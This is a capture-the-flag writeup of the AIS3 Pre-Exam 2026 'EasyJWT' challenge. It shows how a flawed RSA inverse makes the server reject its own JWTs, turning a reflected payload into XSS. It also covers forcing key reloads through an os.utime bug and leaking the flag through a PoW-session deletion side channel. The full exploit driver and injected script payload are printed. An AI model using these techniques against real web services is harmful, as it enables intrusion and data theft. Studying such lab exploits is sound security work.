Skip to content
Suzu
10 min read

【Crypto】AIS3 Pre-Exam 2026 Writeup: EasyJWT

A crypto writeup for EasyJWT, focusing on JWT signing, verification, and token forgery.

Series
30 posts
View the complete series →
On this page

【AIS3 Pre-Exam 2026 Writeup】Crypto - EasyJWT

I started from app.py and jwt.py.

/login signs a JWT and puts it into an HttpOnly cookie:

@app.route("/login")
def login():
    text = request.args.get("text", "")
    user = "admin" if local_addr() else "user"
    token = jwt.sign_jwt({"user": user, "text": text})
    resp = make_response(redirect("/"))
    resp.set_cookie("token", token, httponly=True, samesite="Lax")
    resp.headers["X-Token"] = token
    return resp

The X-Token header was useful for testing. Even when the token cookie is HttpOnly, a normal request to /login?text=x still gives the signed JWT in the response header.

The index route has the strange part:

if jwt.verify_jwt(token) == "OK":
    data = jwt.payload_json(token)
    user = data["user"]
    text = data["text"]
    return f"Welcome {user}, you said {base64.b64encode(text.encode()).decode()}"
return jwt.payload_bytes(token), 500

Valid token means the text is base64-encoded before printing. Bad token means the raw JWT payload is returned directly. No escaping.

So the web bug needs a token signed by the server, but rejected by the same server later. At first that sounded weird, so jwt.py became more interesting than the Flask routes.

The flag route has two checks:

@app.route("/flag")
def flag():
    if local_addr() and cors_allowed():
        return FLAG
    return "no", 403

The request must come from loopback and also look same-origin. A remote request gets 403. A script running in the bot at http://127.0.0.1:5000/ can read it with XHR.

The bot also has some protection:

if parsed.scheme not in ("http", "https") or target.startswith("http://127.0.0.1:5000/") == False:
    return "Wrong", 400
if (pow(m, POW_E, POW_N) & POW_MASK) != pow_sess[sid]:
    return "Wrong", 403
del pow_sess[sid]

The target must start with localhost, and every visit needs a 36-bit PoW. The last line, del pow_sess[sid], became useful later.

Broken RSA Key

jwt.py uses RSA by itself:

E = 677676677

def inverse(a, m):
    old_r, r = a, m
    old_s, s = 1, 0

    while r != 0:
        quotient = old_r // r
        old_r, r = r, old_r - quotient * r
        old_s, s = s, old_s - quotient * s
    return old_s

The key generation is:

phi = (p - 1) * (q - 1)
d = inverse(E, phi) % phi

No gcd(E, phi) == 1 check. If the inverse does not exist, the function still returns a Bezout coefficient.

The exponent factors into:

677676677 = 673 * 1006949

If p - 1 or q - 1 is divisible by one of these factors, the private exponent is not a real inverse. The server can still run pow(digest, d, n) and create a token, but verification can fail.

That gives the XSS condition:

  1. bot visits /login?text=<script>...,
  2. /login signs a JWT containing the script,
  3. redirect goes to /,
  4. the broken RSA key makes verify_jwt() return Wrong,
  5. / returns the raw payload bytes,
  6. the browser parses the <script> tag inside the JSON text.

The script runs on 127.0.0.1:5000, so /flag is readable.

Getting A Bad Key

KEY = make_key() is created at import time in jwt.py. A new import gives a new RSA key.

app.py runs Flask debug mode:

app.run(host="0.0.0.0", port=5000, debug=True)

The /upload route has a useful order bug:

f = request.files["file"]
name = f.filename.lower()
if request.args.get('t') is not None:
    test = request.args.get('t')
    os.utime(os.path.join(BASE_DIR, test))

data = f.read()
if (name.endswith(".jpg") or name.endswith(".jpeg")) and data.startswith(b"\xff\xd8\xff") and local_addr():
    ...
return "Wrong", 403

os.utime() happens before the JPEG check and before local_addr(). A remote multipart POST to /upload?t=jwt.py returns 403, but jwt.py is already touched. The debug reloader restarts the app and the RSA key changes.

The test loop was:

GET /login?text=x
read X-Token
GET /verify_token?token=<that token>
if output is not OK, keep this key
else POST /upload?t=jwt.py and wait for reload

/public.json exposes the PoW modulus, so it also works as a reload indicator. If POW_N changes, the process really restarted.

Paths That Wasted Time

External webhook exfil was the first guess. XSS can read /flag, so sending the body out sounds natural. The bot target is locked to localhost, and outbound exfil was not the stable route for me. I stopped using it as the final path.

There were flag-looking strings in the source and static files. One example in app.py was:

AIS3{I_am_a_fake_flag_or_you_can_sub_mi_t_m_e_bruh}

static/.secret also had:

AIS3{broad_Cast_attakc_XDDD}

These looked like hints or bait. Candidate probing around them did not match the real flag.

Werkzeug debugger was another dead end. Debug mode exposed the debugger page, and playing with the Host header could make the request look closer to localhost. The console still needed the PIN. Without a machine-id or MAC leak, it was not a practical path. No trigger, no path.

I also tried a 6-bit leak script first. It tried to leak one character by consuming several channel sessions in one bot visit. The output became noisy because nested bot calls and cookie state could race. Some chunks looked real and some did not. I did not trust it.

A timing/candidate tail probe once suggested a tail like ..._lol}. That was submitted and rejected, so I went back to the slower nibble leak.

The bot PoW is:

pow(m, POW_E, POW_N) & ((1 << 36) - 1) == challenge

Solving one exact 36-bit challenge directly is slow. Batch search is much better:

  1. collect many /pow sessions,
  2. save all challenges,
  3. scan m = 0, 1, 2, ...,
  4. compute the low 36 bits,
  5. check whether it hits any collected challenge.

I used a C helper with GMP and OpenMP:

gcc -O3 -fopenmp pow_search.c -lgmp -o pow_search

The run format was:

./pow_search <POW_N> /tmp/easyjwt_nibble_chals.txt 500000000 132

The last number is how many solved sessions I want.

For the stable leak, one flag character used:

2 main bot sessions
16 low-nibble channel sessions
4 high-bits channel sessions

So one character needs 22 solved sessions. Six characters need 132.

Side Channel From pow_sess

The bot deletes a PoW session after a valid request:

del pow_sess[sid]

That deletion can be observed from outside.

If I request /pow later with the same pow_sess cookie:

  • same challenge means the session is still alive,
  • different challenge means the old session was deleted and Flask created a new one.

The XSS does not need to send the flag to the internet. It only needs to choose one known session and spend it.

For one leak part, the script creates several channel sessions. The XSS reads /flag, computes an index, sets document.cookie to the selected channel SID, and posts to /bot with the solved m for that SID. The nested /bot visit can open just /; the only thing I need is the deletion.

HttpOnly did not block this plan because the script never reads the pow_sess cookie. It writes a known SID value that I already collected.

The character alphabet was:

ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_}"

AIS3{ was already known, so { did not need to be in the alphabet. Every unknown character fits in 6 bits.

The reliable version leaks two parts:

low = leak_part(..., shift=0, mask=15)
high = leak_part(..., shift=4, mask=3)
value = low | (high << 4)
ch = ALPHABET[value]

The low part has 16 choices. The high part has 4 choices. Each part should consume exactly one channel session. If zero or multiple sessions are dead, the result is rejected.

Running The Leak

The first useful compile command:

gcc -O3 -fopenmp pow_search.c -lgmp -o pow_search

Example run for the last chunk:

BASE=http://chals1.ais3.org:48764 \
START_POS=31 \
COUNT=6 \
KNOWN='AIS3{brute_it_brute_it_brute_it' \
COLLECT=24000 \
MAX_M=500000000 \
FAST_FIND=1 \
EXPIRE_MARGIN=30 \
python3 leak_nibble.py

If the current instance already had a bad key, I skipped the reload search:

BASE=http://chals1.ais3.org:48764 \
START_POS=<next_pos> \
COUNT=6 \
KNOWN='<known_prefix>' \
COLLECT=24000 \
MAX_M=500000000 \
SKIP_FIND=1 \
python3 leak_nibble.py

The confirmed prefix before the last run was:

AIS3{brute_it_brute_it_brute_it

The last output was:

[+] pos=31 value=62 ch='_' flag_so_far='AIS3{brute_it_brute_it_brute_it_'
[+] pos=32 value=40 ch='o' flag_so_far='AIS3{brute_it_brute_it_brute_it_o'
[+] pos=33 value=33 ch='h' flag_so_far='AIS3{brute_it_brute_it_brute_it_oh'
[+] pos=34 value=63 ch='}' flag_so_far='AIS3{brute_it_brute_it_brute_it_oh}'
FLAG AIS3{brute_it_brute_it_brute_it_oh}

Final Exploit Driver

This was the final leak driver, leak_nibble.py. It uses helper functions from solve_easyjwt.py for instance handling, reload search, and PoW collection. The fast PoW search is the compiled pow_search binary.

#!/usr/bin/env python3
import json
import os
import re
import subprocess
import time
import urllib.parse
import urllib.request

from solve_easyjwt import collect_pow, find_invalid_key, jwt_self_invalid, start_instance, wait_service


ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_}"
BASE = os.environ.get("BASE", "http://chals1.ais3.org:48764")
START_POS = int(os.environ.get("START_POS", "12"))
COUNT = int(os.environ.get("COUNT", "16"))
KNOWN = os.environ.get("KNOWN", "AIS3{brute_i")
COLLECT = int(os.environ.get("COLLECT", "42000"))
MAX_M = int(os.environ.get("MAX_M", "750000000"))
SKIP_FIND = os.environ.get("SKIP_FIND") == "1"
FAST_FIND = os.environ.get("FAST_FIND") == "1"


def solve_hits(n, rows, target_hits):
    path = "/tmp/easyjwt_nibble_chals.txt"
    with open(path, "w") as f:
        for c, _sid in rows:
            print(c, file=f)
    proc = subprocess.run(
        ["./pow_search", n, path, str(MAX_M), str(target_hits)],
        text=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        check=False,
    )
    print(proc.stdout, end="", flush=True)
    hits = []
    for m in re.finditer(r"FOUND m=(\d+) challenge=(\d+) index=(\d+)", proc.stdout):
        idx = int(m.group(3))
        hits.append({"m": int(m.group(1)), "sid": rows[idx][1], "challenge": rows[idx][0]})
    if len(hits) < target_hits:
        raise RuntimeError(f"not enough pow hits: {len(hits)} < {target_hits}")
    return hits


def bot_post(base, pair, target):
    body = urllib.parse.urlencode({"url": target, "m": str(pair["m"])}).encode()
    req = urllib.request.Request(
        base + "/bot",
        data=body,
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "Cookie": "pow_sess=" + pair["sid"],
        },
    )
    return urllib.request.urlopen(req, timeout=25).read().decode("latin1", "replace")


def sid_alive(base, pair):
    req = urllib.request.Request(base + "/pow", headers={"Cookie": "pow_sess=" + pair["sid"]})
    data = json.loads(urllib.request.urlopen(req, timeout=5).read())
    return int(data["challenge"]) == pair["challenge"]


def make_target(pos, shift, mask, channel_pairs):
    arr = "[" + ",".join(f"['{p['sid']}',{p['m']}]" for p in channel_pairs) + "]"
    js = (
        "<script>"
        f"let A='{ALPHABET}',P={pos},S={shift},M={mask},C={arr},U='url=http%3A%2F%2F127.0.0.1%3A5000%2F&m=';"
        "function b(k){document.cookie='pow_sess='+C[k][0]+'; path=/';"
        "setTimeout(()=>fetch('/bot',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:U+C[k][1]}),120)}"
        "let x=new XMLHttpRequest();x.onload=()=>{let v=A.indexOf(x.responseText[P]||'');"
        "if(v>=0)b((v>>S)&M)};x.open('GET','/flag');x.send()"
        "</script>"
    )
    return "http://127.0.0.1:5000/login?text=" + urllib.parse.quote(js, safe="")


def leak_part(base, main_pair, channel_pairs, pos, shift, mask):
    target = make_target(pos, shift, mask, channel_pairs)
    print(f"[*] pos={pos} shift={shift} choices={len(channel_pairs)} target_len={len(target)}", flush=True)
    out = bot_post(base, main_pair, target)
    print(f"[*] bot={out.strip()!r}", flush=True)
    time.sleep(1.2)
    dead = []
    for i, pair in enumerate(channel_pairs):
        if not sid_alive(base, pair):
            dead.append(i)
    print(f"[*] dead={dead}", flush=True)
    if len(dead) != 1:
        raise RuntimeError(f"expected exactly one consumed sid, got {dead}")
    return dead[0]


def main():
    base = BASE
    if SKIP_FIND:
        print(f"[*] using active base={base}", flush=True)
        if not jwt_self_invalid(base):
            raise SystemExit("current key is not invalid")
    else:
        while True:
            got, expires = start_instance()
            base = BASE or got
            print(f"[*] instance={base} expires={expires}", flush=True)
            wait_service(base)
            try:
                if FAST_FIND:
                    from test_candidates import find_invalid_key_fast

                    find_invalid_key_fast(base, expires)
                else:
                    find_invalid_key(base, expires)
                break
            except (RuntimeError, TimeoutError) as e:
                print(f"[!] {e}; trying next instance", flush=True)
                time.sleep(5)
    print("[+] stable invalid key", flush=True)

    pairs_per_char = 2 + 16 + 4
    need = COUNT * pairs_per_char
    n, rows = collect_pow(base, count=COLLECT, workers=140)
    hits = solve_hits(n, rows, need)

    cursor = 0
    main_pairs = []
    low_pairs = []
    high_pairs = []
    for _ in range(COUNT):
        main_pairs.append((hits[cursor], hits[cursor + 1]))
        cursor += 2
        low_pairs.append(hits[cursor : cursor + 16])
        cursor += 16
        high_pairs.append(hits[cursor : cursor + 4])
        cursor += 4

    flag = KNOWN
    for off in range(COUNT):
        pos = START_POS + off
        low = leak_part(base, main_pairs[off][0], low_pairs[off], pos, 0, 15)
        high = leak_part(base, main_pairs[off][1], high_pairs[off], pos, 4, 3)
        value = low | (high << 4)
        ch = ALPHABET[value]
        flag += ch
        print(f"[+] pos={pos} value={value} ch={ch!r} flag_so_far={flag!r}", flush=True)
        if ch == "}":
            print("FLAG", flag, flush=True)
            return
    print("RESULT", flag, flush=True)


if __name__ == "__main__":
    main()

Share this page